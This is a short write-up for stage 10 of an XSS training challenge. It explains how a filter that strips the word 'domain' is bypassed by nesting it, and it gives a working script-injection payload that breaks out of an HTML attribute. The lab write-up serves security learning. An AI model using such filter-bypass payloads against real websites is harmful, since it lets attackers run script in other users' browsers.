Solution: XSS Challenges (by yamagata21) – Stage #10

In this lab, we guest that maybe “domain” will be removed, so we just need to add one more ‘domain’ in the string and ‘domain’ becomes ‘ddomainomain’.

Then, we search for:

"><script>alert(document.ddomainomain)</script>